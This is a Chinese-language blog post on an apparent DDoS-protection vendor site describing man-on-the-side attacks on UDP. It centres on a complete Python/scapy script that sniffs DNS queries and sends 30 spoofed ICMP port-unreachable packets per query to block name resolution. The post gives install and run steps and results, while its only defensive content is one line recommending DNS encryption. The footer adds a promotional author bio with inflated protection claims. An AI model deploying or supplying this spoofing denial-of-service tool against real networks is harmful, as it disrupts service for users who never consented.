DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > DDOS防御 > 正文

MOTS攻击之UDP攻击

09-17 DDOS防御

1.  废话
前段时间写了篇文章介绍MOTS攻击的原理及相关的攻击方式,当时只是了解其原理,没有通过程序具体实现。这段时间抽时间学习了Python,花了几天晚上时间用Python实现了UDP的攻击代码。对于TCP这块的攻击找时间再完善一下相关代码。
对于MOTS攻击方式不了解的同学们可以翻翻我上篇文章,《MOTS攻击技术分析》。底层原理是关键,程序实现只是侧面佐证。
废话不多说,直接奔主题。大家都知道,UDP是没有面向连接的,不可靠的,因此对其攻击主要有两种方式:DOS攻击与UDP欺骗
2.  DOS攻击
2.1 原理
因为UDP是无连接的,同一个连接中的报文与前面或后面的报文都没有直接关系。因此对其DOS攻击不像TCP那样只需要发送一个reset包就可以干掉一个TCP连接那样简单,针对UDP的DOS需要将每个报文都DOS掉,不然应用层的重传机制还是会重传相应数据以保持会话与交互的数据完整。因此针对UDP的DOS攻击一般情况下都是针对UDP的轻量化应用进行攻击,如DNS这种小量交互的报文,而不是P2P这种大量报文交互的应用。
DNS的交互相对较简单,正常情况下,一个DNS查询与一个响应。下图可见DNS的应用非常轻量化,一个DNS查询,一个DNS响应。简洁灵巧,轻量化。
因此对其进行DOS非常简单,只需要监听网络中的DNS流量,有DNS查询时,直接返回一个ICMP Port unreachable报文即可,表示端口没有开放。若为TCP的应用,其端口没有开放时,一般回应一个reset报文。并且有一点一定要保证,就是ICMP port unreachable报文一定要比正常的DNS 响应报文早到客户端,这样才可以达到DOS的效果。

MOTS攻击之UDP攻击


2.2 实现
要实现对UDP应用的DOS,我们以DNS为例,需要按照以下几步实现:
1、构造ICMP Port Unreachable报文
2、监听网络中的DNS查询报文
3、监听到DNS查询报文时,响应ICMP port unreachable报文
2.2.1  安装scapy库
实现UDP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip3 install scapy-python3来安装。
2.2.2  构造ICMP Port Unreachable报文
 ICMP Port Unreachable报文的具体格式如下,大家可以根据数据包结构来构造。

MOTS攻击之UDP攻击


具体构造时要按照scapy所支持的格式来构造,scapy库支持的icmp报文结构格式如下:

MOTS攻击之UDP攻击


2.2.3  监听并攻击
攻击代码如下,大家可以根据实际情况修改:
#coding:utf-8
'''
date:2017-07-05
author:feiniao
Version:1.0
'''
from scapy.all import *
import random
'''
1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡
2、再使用conf.iface=''绑定相应的网卡
3、linux需要在sniff()中指定相应的网卡
'''
conf.iface='Intel(R) Dual Band Wireless-AC 8260'
#DNS响应的地址,随机ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
def buying(mots):
resp = Ether()/IP()/ICMP()/IP()/UDP()
#构造ICMP报文
resp[ICMP].type = 3
resp[ICMP].code = 3
resp[ICMP][IP].src = mots[IP].src
resp[ICMP][IP].dst = mots[IP].dst
resp[ICMP][IP].ttl = ipttl
resp[ICMP][IP].id = ipid
resp[ICMP][UDP].sport = mots[UDP].sport
resp[ICMP][UDP].dport = mots[UDP].dport
#构造IP包头
resp[IP].src = mots[IP].dst
resp[IP].dst = mots[IP].src
resp[IP].ttl = ipttl
resp[IP].id  = ipid
#构造以太网包头
resp[Ether].src = mots[Ether].dst
resp[Ether].dst = mots[Ether].src
#发送构造的ICMP响应包
sendp(resp,count = 30)
if __name__ == '__main__':
sniff(prn=buying,filter="udp dst port 53")
找到攻击程序所在的目录,直接输入pythondnsdos.py即可。
在实际测试时,上来就遇到一个坑。
由于DNS使用UDP,而UDP是一种不可靠的协议,其存在丢包的可能,因此DNS为了保证应用的可靠性,一般的DNS查询都是发送多个,当前面一个查询失败时,会继续发送DNS查询报文。个人测试是发送四个DNS查询。测试时,发现第一个DNS查询被DOS了,但是第二个DNS时却被正常响应了。所以导致DNS结果还是正常的。

MOTS攻击之UDP攻击


怎么达到最大程度满足实际需求可以达到对DNS的DOS效果,个人有一个思路:因为DNS多个查询报文的间隔都非常短,因此监听程序可以在收到DNS查询时连续发送多个ICMP port unreachable报文,如100个(代码中已做优化,发送30个),这样的话可以很大可能保证每个DNS查询最早收到的都是构造的ICMP port unreachable报文,而不是正常的DNS响应报文,这样的话就可以达到DOD效果,实测效果如下:

MOTS攻击之UDP攻击


2.3 斗争
2.3.1  DNS加密
DNS加密这种方法个人感觉最靠谱!

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//ddos1/76.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 676017访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X